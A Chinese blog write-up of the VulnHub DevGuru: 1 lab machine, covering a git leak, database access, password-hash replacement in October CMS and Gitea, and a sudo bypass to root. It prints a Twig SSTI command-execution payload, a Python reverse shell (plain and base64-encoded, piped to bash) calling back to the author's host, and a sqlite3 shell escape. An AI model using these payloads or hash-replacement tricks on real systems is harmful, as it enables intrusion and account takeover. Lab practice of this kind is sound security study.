【Vulnhub】DevGuru: 1 靶机练习

image

这次打vulnhub的DevGuru: 1,是个OSCP类型的靶机(自称),并且基于真实场景
下载地址:https://www.vulnhub.com/entry/devguru-1,620/

这篇文章目的是大致重现我打靶时的混乱思维过程,肯定是东一下西一下的,并不只是一篇答案

就是我写着玩的意思


首先进行端口扫描
sudo nmap -sS -Pn -p- 192.168.56.105                                                                       
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-05 09:44 CST
Nmap scan report for 192.168.56.105 (192.168.56.105)
Host is up (0.00038s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8585/tcp open  unknown
MAC Address: 08:00:27:46:46:81 (Oracle VirtualBox virtual NIC)

针对开放的端口做详细扫描

可以看到80端口发现了.git目录,这说明可能有git信息泄露

8585端口是Gitea


sudo nmap -sT -A -Pn -p22,80,8585 192.168.56.105
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-05 09:44 CST
Stats: 0:00:56 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 66.67% done; ETC: 09:46 (0:00:28 remaining)
Nmap scan report for 192.168.56.105 (192.168.56.105)
Host is up (0.0016s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)                         版本低?
| ssh-hostkey: 
|   2048 2a:46:e8:2b:01:ff:57:58:7a:5f:25:a4:d6:f2:89:8e (RSA)
|   256 08:79:93:9c:e3:b4:a4:be:80:ad:61:9d:d3:88:d2:84 (ECDSA)
|_  256 9c:f9:88:d4:33:77:06:4e:d9:7c:39:17:3e:07:9c:bd (ED25519)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Corp - DevGuru
|_http-generator: DevGuru
|_http-server-header: Apache/2.4.29 (Ubuntu)                                                      版本低?
| http-git: 
|   192.168.56.105:80/.git/                                                                        !!
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|     Last commit message: first commit 
|     Remotes:
|       http://devguru.local:8585/frank/devguru-website.git
|_    Project type: PHP application (guessed from .gitignore)
8585/tcp open  unknown																				Gitea?
| fingerprint-strings: 
|   GenericLines: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Content-Type: text/html; charset=UTF-8
|     Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
|     Set-Cookie: i_like_gitea=d4f52d512a5f95cc; Path=/; HttpOnly
|     Set-Cookie: _csrf=EM5MbQzy-OeEHSLe1eIPN3Ut5Dw6MTc1NDM4NzEwMTE3NTgyMTIxOQ; Path=/; Expires=Wed, 06 Aug 2025 09:45:01 GMT; HttpOnly
|     X-Frame-Options: SAMEORIGIN
|     Date: Tue, 05 Aug 2025 09:45:01 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-">
|     <head data-suburl="">
|     <meta charset="utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title> Gitea: Git with a cup of tea </title>
|     <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
|     <meta name="theme-color" content="#6cc644">
|     <meta name="author" content="Gitea - Git with a cup of tea" />
|     <meta name="description" content="Gitea (Git with a cup of tea) is a painless
|   HTTPOptions: 
|     HTTP/1.0 404 Not Found
|     Content-Type: text/html; charset=UTF-8
|     Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
|     Set-Cookie: i_like_gitea=311be05633dc5230; Path=/; HttpOnly
|     Set-Cookie: _csrf=lMCwCNI_JE1hUq1BgOvSHAVxux86MTc1NDM4NzEwMTIxOTA5NzYxNg; Path=/; Expires=Wed, 06 Aug 2025 09:45:01 GMT; HttpOnly
|     X-Frame-Options: SAMEORIGIN
|     Date: Tue, 05 Aug 2025 09:45:01 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-">
|     <head data-suburl="">
|     <meta charset="utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title>Page Not Found - Gitea: Git with a cup of tea </title>
|     <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
|     <meta name="theme-color" content="#6cc644">
|     <meta name="author" content="Gitea - Git with a cup of tea" />
|_    <meta name="description" content="Gitea (Git with a c
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8585-TCP:V=7.94SVN%I=7%D=8/5%Time=6891621F%P=x86_64-pc-linux-gnu%r(
SF:GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x2
SF:0text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad
SF:\x20Request")%r(GetRequest,2A00,"HTTP/1\.0\x20200\x20OK\r\nContent-Type
SF::\x20text/html;\x20charset=UTF-8\r\nSet-Cookie:\x20lang=en-US;\x20Path=
SF:/;\x20Max-Age=2147483647\r\nSet-Cookie:\x20i_like_gitea=d4f52d512a5f95c
SF:c;\x20Path=/;\x20HttpOnly\r\nSet-Cookie:\x20_csrf=EM5MbQzy-OeEHSLe1eIPN
SF:3Ut5Dw6MTc1NDM4NzEwMTE3NTgyMTIxOQ;\x20Path=/;\x20Expires=Wed,\x2006\x20
SF:Aug\x202025\x2009:45:01\x20GMT;\x20HttpOnly\r\nX-Frame-Options:\x20SAME
SF:ORIGIN\r\nDate:\x20Tue,\x2005\x20Aug\x202025\x2009:45:01\x20GMT\r\n\r\n
SF:<!DOCTYPE\x20html>\n<html\x20lang=\"en-US\"\x20class=\"theme-\">\n<head
SF:\x20data-suburl=\"\">\n\t<meta\x20charset=\"utf-8\">\n\t<meta\x20name=\
SF:"viewport\"\x20content=\"width=device-width,\x20initial-scale=1\">\n\t<
SF:meta\x20http-equiv=\"x-ua-compatible\"\x20content=\"ie=edge\">\n\t<titl
SF:e>\x20Gitea:\x20Git\x20with\x20a\x20cup\x20of\x20tea\x20</title>\n\t<li
SF:nk\x20rel=\"manifest\"\x20href=\"/manifest\.json\"\x20crossorigin=\"use
SF:-credentials\">\n\t<meta\x20name=\"theme-color\"\x20content=\"#6cc644\"
SF:>\n\t<meta\x20name=\"author\"\x20content=\"Gitea\x20-\x20Git\x20with\x2
SF:0a\x20cup\x20of\x20tea\"\x20/>\n\t<meta\x20name=\"description\"\x20cont
SF:ent=\"Gitea\x20\(Git\x20with\x20a\x20cup\x20of\x20tea\)\x20is\x20a\x20p
SF:ainless")%r(HTTPOptions,212A,"HTTP/1\.0\x20404\x20Not\x20Found\r\nConte
SF:nt-Type:\x20text/html;\x20charset=UTF-8\r\nSet-Cookie:\x20lang=en-US;\x
SF:20Path=/;\x20Max-Age=2147483647\r\nSet-Cookie:\x20i_like_gitea=311be056
SF:33dc5230;\x20Path=/;\x20HttpOnly\r\nSet-Cookie:\x20_csrf=lMCwCNI_JE1hUq
SF:1BgOvSHAVxux86MTc1NDM4NzEwMTIxOTA5NzYxNg;\x20Path=/;\x20Expires=Wed,\x2
SF:006\x20Aug\x202025\x2009:45:01\x20GMT;\x20HttpOnly\r\nX-Frame-Options:\
SF:x20SAMEORIGIN\r\nDate:\x20Tue,\x2005\x20Aug\x202025\x2009:45:01\x20GMT\
SF:r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en-US\"\x20class=\"theme-\">
SF:\n<head\x20data-suburl=\"\">\n\t<meta\x20charset=\"utf-8\">\n\t<meta\x2
SF:0name=\"viewport\"\x20content=\"width=device-width,\x20initial-scale=1\
SF:">\n\t<meta\x20http-equiv=\"x-ua-compatible\"\x20content=\"ie=edge\">\n
SF:\t<title>Page\x20Not\x20Found\x20-\x20\x20Gitea:\x20Git\x20with\x20a\x2
SF:0cup\x20of\x20tea\x20</title>\n\t<link\x20rel=\"manifest\"\x20href=\"/m
SF:anifest\.json\"\x20crossorigin=\"use-credentials\">\n\t<meta\x20name=\"
SF:theme-color\"\x20content=\"#6cc644\">\n\t<meta\x20name=\"author\"\x20co
SF:ntent=\"Gitea\x20-\x20Git\x20with\x20a\x20cup\x20of\x20tea\"\x20/>\n\t<
SF:meta\x20name=\"description\"\x20content=\"Gitea\x20\(Git\x20with\x20a\x
SF:20c");
MAC Address: 08:00:27:46:46:81 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   1.61 ms 192.168.56.105 (192.168.56.105)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 89.44 seconds

接下来用GitHack获取泄露的源码


1

2


其中有一个非常显眼的文件adminer.php,在浏览器中打开,提示输入数据库凭据,正好在泄漏的源码中很可能有数据库连接的配置文件


5


通过README得知这是一个叫October的cms,可以在网上搜索一下公开的漏洞利用,但是现在最吸引人的是配置数据库连接的文件,因为其中有数据库的账号密码


3


打开config目录下的database.php,在其中找到了连接数据库的凭据


4


登录到adminer.php中,可以看到这个cms的数据库,找到存有用户信息的表

只有一个叫frank的用户


7


将他的哈希保存下来,用hashid识别


8


得知哈希的类型后,尝试用rockyou字典来破解


sudo hashcat -a 0 -m 3200 hash.txt /usr/share/wordlists/rockyou.txt

跑了70000多个仍没有结果,而且这种哈希破解起来速度特别慢,就干脆结束掉

用刚才收集到的姓名和域名devguru来生成一个字典


9

10


(这个规则是我在网上随便找的,很多地方都有差不多的)

再次破解仍然没有结果

既然拿不到密码,那就直接把密码改了

于是我请ai给我生成了一个生成这种类型哈希的脚本,把密码设置为123456


11

12


在网上搜一下october cms的后台位置,成功访问到后台页面,可以看到版本信息


13


成功登陆到后台


14


大概在后台转了一圈,并没有发现什么特别直接的getshell的方法

在CMS栏目和Media栏目的各个板块中都尝试了创建和上传php文件,无一例外都被拦了,使用各种文件名绕过方法也不行,例如php5,php7,phtml,而且就算是随便乱打的扩展名也会被拒绝,这说明很有可能是白名单,那么此版本的apache解析漏洞也没用了


15


searchsploit搜索一下公开的漏洞利用


16


排除xss,排除版本不符合的,唯一能用的就只有第一个绕过上传限制的脚本,但他得用msf运行,考虑到这是一个OSCP类型的靶机,所以尝试阅读代码手动利用

结果呢是令人大失所望的,它用的方法是黑名单绕过,之前就已经尝试过确定为不可行的,成功浪费了时间


17


因为突然想起隔壁8585端口Gitea的存在,在这期间又发散了一下思维,尝试用数据库密码登录Gitea,不用说肯定是不行的(之前在破解哈希时也干过,考虑到数据库密码和这个哈希的明文是同一个的可能性,用数据库密码登录后台),注册和忘记密码功能也都是被禁用的


18


没过多久我又突然想起,GitHack应该将整个项目都下载下来了的,也就是说有历史版本,
历史版本中可能会有不一样的信息,特别是ssh私钥这种东西(之前忘写了这里的ssh不允许通过密码登录)

但是却出现了意外


19


难道GitHack并没有把项目下载完整吗

一个不行就换一个,我重新找了一个工具git-dumper看能不能把完整的项目下载下来


20


21


这次可以查看历史版本了,但是显示只有一次发布,看来这条路也是行不通的


22


再次回到寻找公开漏洞利用上,过了一段时间发现了关键


23

24


可以看到第二个cve就是前一种漏洞的绕过,是截止到470这个版本的,也就是靶机的cms版本的下一个

可惜的是,我看不懂这个漏洞描述在说什么,也不知道该如何利用,网上找了一圈也没能找到这两个cve的poc(可能是我找的方式有问题)

不过唯一能看懂的就是这是SSTI漏洞,回到后台,CMS栏目的不少文件确实都用了模板,然而我之前却一点都没有注意到,也没有想过SSTI,也是挺瞎的


25


所以没一会儿我就决定去看看Twig的模板注入的方法

链接:https://forum.butian.net/share/2242

经过对Twig模板引擎基本知识和漏洞的学习,最终使用{{[0, 0]|reduce("system", "id")}}这个payload成功执行了系统命令


26

27

28


接下来反弹shell,这里我想用python来弹,但是直接写上命令引号会错乱,所以通过base64编码再解码后执行更妥当,当然也可以用bash -i弹,我这里会报错,所以放弃


python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.56.233',23333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
echo cHl0aG9uMyAtYyAiaW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoJzE5Mi4xNjguNTYuMjMzJywyMzMzMykpO29zLmR1cDIocy5maWxlbm8oKSwwKTtvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsnL2Jpbi9iYXNoJywnLWknXSk7Ig== | base64 -d | bash

29


就这样以www-data用户的身份进入了系统

再尝试用sudo -l、查看.bash_history,root密码是弱口令等捡便宜的方法无果后开始收集信息

翻找常见的目录和常见的文件,并用linpeas自动收集信息,不一会儿就找到了一些关键点

根目录下有一些不寻常的目录里面的内容好像和gitea有关?然后就是opt目录下的两个目录,containerd容器不太清楚,gitea目录应该就是gitea应用存放的位置,并且所有者是frank


30


最关键的是/var/backups下的app.ini.bak的文件,这是一个备份文件,在其中找到了新的数据库凭据


32


这是思路应该很明确了,既然gitea目录是frank的,那么这次应该就是再数据库拿到gitea中用户的账号密码然后登录并getshell

于是我直接用searchsploit搜索了一下gitea的漏洞


33


版本完全匹配,利用条件是登陆后,这和刚才的思路完全吻合,那就再没什么疑虑,用adminer.php进入数据库然后拿到密码的hash


34


尝试和之前一样破解(主要是想到万一gitea的frank的密码和cms中的不一样呢),失败,尝试数据库密码就是root密码或者frank的密码的可能性,也是失败。最后看来还是只有修改密码这一条路可走

为了了解这个哈希值是如何生成的,在网上查询没结果,询问ai没结果,于是下载1.12.5版本的gitea的源码,在user.go这个文件中找到了关键的代码


func hashPassword(passwd, salt, algo string) string {
    var tempPasswd []byte

    switch algo {
    case algoBcrypt:
        tempPasswd, _ = bcrypt.GenerateFromPassword([]byte(passwd), bcrypt.DefaultCost)
        return string(tempPasswd)
    case algoScrypt:
        tempPasswd, _ = scrypt.Key([]byte(passwd), []byte(salt), 65536, 16, 2, 50)
    case algoArgon2:
        tempPasswd = argon2.IDKey([]byte(passwd), []byte(salt), 2, 65536, 8, 50)
    case algoPbkdf2:
        fallthrough
    default:
        tempPasswd = pbkdf2.Key([]byte(passwd), []byte(salt), 10000, 50, sha256.New)
    }

    return fmt.Sprintf("%x", tempPasswd)
}

// HashPassword hashes a password using the algorithm defined in the config value of PASSWORD_HASH_ALGO.
func (u *User) HashPassword(passwd string) {
    u.PasswdHashAlgo = setting.PasswordHashAlgo
    u.Passwd = hashPassword(passwd, u.Salt, setting.PasswordHashAlgo)
}

// ValidatePassword checks if given password matches the one belongs to the user.
func (u *User) ValidatePassword(passwd string) bool {
    tempHash := hashPassword(passwd, u.Salt, u.PasswdHashAlgo)

    if u.PasswdHashAlgo != algoBcrypt && subtle.ConstantTimeCompare([]byte(u.Passwd), []byte(tempHash)) == 1 {
        return true
    }
    if u.PasswdHashAlgo == algoBcrypt && bcrypt.CompareHashAndPassword([]byte(u.Passwd), []byte(passwd)) == nil {
        return true
    }
    return false
}

这里的加密类型是Pbkdf2,不改变盐值,把这一段代码喂给ai生成了一个go写的程序
package main

import (
	"crypto/sha256"
	"encoding/hex"
	"fmt"
	"golang.org/x/crypto/pbkdf2"
)

func main() {
	password := "123456"
	salt := "Bop8nwtUiM"
	iterations := 10000
	keyLength := 50

	// 生成PBKDF2哈希
	hash := pbkdf2.Key([]byte(password), []byte(salt), iterations, keyLength, sha256.New)
	hashHex := hex.EncodeToString(hash)

	fmt.Println("Generated Hash:", hashHex)
}

编译执行后获得123456的哈希值


35


修改密码成功登录

然后使用刚才的那个漏洞利用脚本,成功getshell


36


众所周知,“枚举和攻击是一个迭代过程!每次我们获得对另一个用户/主机的控制权时,我们都应该重复一些枚举步骤,以查看我们获得了哪些新的权限和特权(如果有的话)”,所以我再次使用了linpeas来收集信息,但是这次并没有什么用

sudo -l查看到有一个特殊的权限


37


可以以任何身份使用sqlite3,除了root,那自然想到是否能通过其他某些用户的特殊权限来提升到root

查询了一些资料,貌似有可能性的用户只有syslog,因为他可以查看/var/log下的各种日志文件

于是切换到该用户(如何用sqlite3执行系统命令在GTFOBins上有详细介绍)

sudo -u syslog sqlite3 /dev/null '.shell /bin/bash'

然后来到/var/log目录下,把能看的日志全都看了一边,基本都没什么重要信息

能说一下的点就只是翻找apache的日志,这个日志下很可能会有用户在gitea应用和cms上的登录记录,说不定会有明文密码,但是access.log文件没有记录POST正文,所以这次什么都没找到,但我认为这是一个不错的思路,值得记下来

然后就是在auth.log中找到了frank的密码


38


这本来应该是个很重要的发现,但是经过尝试,它并不是系统用户frank的密码,也不是root的密码,看命令应该只是gitea和cms的frank用户的密码

尝试各种用户和在系统中翻翻找找,又成功浪费了一些时间后,我拿(ALL, !root)做关键词进行搜索,竟然发现了一个公开的漏洞利用,指明了sudo的版本限制和cve编号,而且应该是我用searchsploit就能查出来的(天哪我为什么没早点想到)


39


查看系统的sudo版本确实也在范围内


40


成功利用漏洞获取root


41


总结

上传文件时就算有各种限制,但配合apache的解析漏洞也许就能迎刃而解;给的sudo权限就算有各种限制,但是配合sudo本身的问题也许就能迎刃而解,我为什么就没早想到这样。

应该认真强化一下这种思考的方式

posted @ 2025-08-07 15:54  巡璃27  阅读(125)  评论(0)    收藏  举报